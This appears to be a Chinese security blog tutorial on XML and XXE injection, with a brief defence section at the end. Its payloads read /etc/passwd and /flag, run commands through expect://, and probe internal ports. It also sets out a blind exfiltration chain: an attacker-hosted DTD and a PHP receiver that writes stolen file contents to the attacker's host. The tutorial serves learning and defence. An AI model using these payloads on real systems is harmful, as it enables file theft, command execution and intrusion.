作者:永不落的梦想
作者主页:传送
座右铭:过去属于死神,未来属于自己
本文专栏:Web漏洞篇
今日鸡汤:只要路是对的,就不怕路远
目录
一、XML基础
1.XML概念
XML是一种用于标记电子文件使其具有结构性的可扩展标记语言;
XML非常灵活,类似于HTML,但无固定标签,其标签可自定义,XML用于传输数据,而HTML用于显示数据;
2.XML文档
XML文档包括XML声明、DTD文档类型定义和文档元素
<!--XML声明-->
<?xml version="1.0" encoding="UTF-8"?> <!--XML文档声明-->
<!--DTD文档类型定义-->
<!DOCTYPE root[ <!--DTD声明-->
<!ENTITY ha "哈哈"> <!--一般实体、内部实体-->
<!ENTITY % hd "哈"> <!--参数实体、内部实体-->
%hd; <!--参数实体需在dtd中引用-->
<!ENTITY p SYSTEM "http://192.168.1.1/mydata.dtd"> <!--外部实体,引入外部dtd文件-->
<!ENTITY passwd SYSTEM "file:///etc/passwd"> <!--外部实体,读取外部文件-->
]>
<!--文档元素-->
<root> <!--自定义根元素-->
<name>haha</name> <!--自定义子元素,变量name=haha-->
<ab>&ha;</ab> <!--引用一般实体,变量ab=哈哈-->
<logo>%hd;</logo> <!--引用参数实体,变量logo=哈-->
<de>&passwd;</de> <!--引用外部实体,变量de值为/etc/passwd文件内容-->
</root>
3.XML学习
二、XXE漏洞简介
1.原理
XXE(XML External Entity Injection),即XML外部实体注入攻击漏洞,应用程序在解析XML时加载了恶意外部实体,造成XXE漏洞攻击;
2.危害
①任意文件读取;
②执行系统命令;
③探测内网端口;
三、XXE利用
1.任意文件读取
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE user[
<!ENTITY xxe SYSTEM "file:///flag">
]>
<user>
<username>&xxe;</username>
<password>123</password>
</user>
利用XXE漏洞读取/flag文件:
2.系统命令执行
在安装了expect扩展的php环境里可执行系统命令,如执行 ifconfig 命令:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE user[
<!ENTITY xxe SYSTEM "expect://ifconfig">
]>
<user>
<username>&xxe;</username>
<password>123</password>
</user>
3.探测内网端口
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE user[
<!ENTITY xxe SYSTEM "http://192.168.1.1:22/">
]>
<user>
<username>&xxe;</username>
<password>123</password>
</user>
4.无回显XXE
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE user[
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=/flag">
<!ENTITY % remote SYSTEM "http://192.168.3.10/h.dtd">
%remote;
%all;
%send;
]>
攻击者主机的第一个文件,test.php:
<?php
$file = "./test.txt";
$content = base64_decode($_GET['file']);
file_put_contents($file,$content);
echo "\n";
?>
攻击者主机的第二个文件,h.dtd:
<!ENTITY % all "<!ENTITY % send SYSTEM 'http://192.168.3.10/test.php?file=%file;'>">
最后会在攻击者主机上生成test.txt文件,内容为无回显的结果;
四、XXE防御
①字符串实体编码;
②对XML数据过滤,如关键字SYSTEM等;
③禁用外部实体,libxml_disable_entity_loader(true);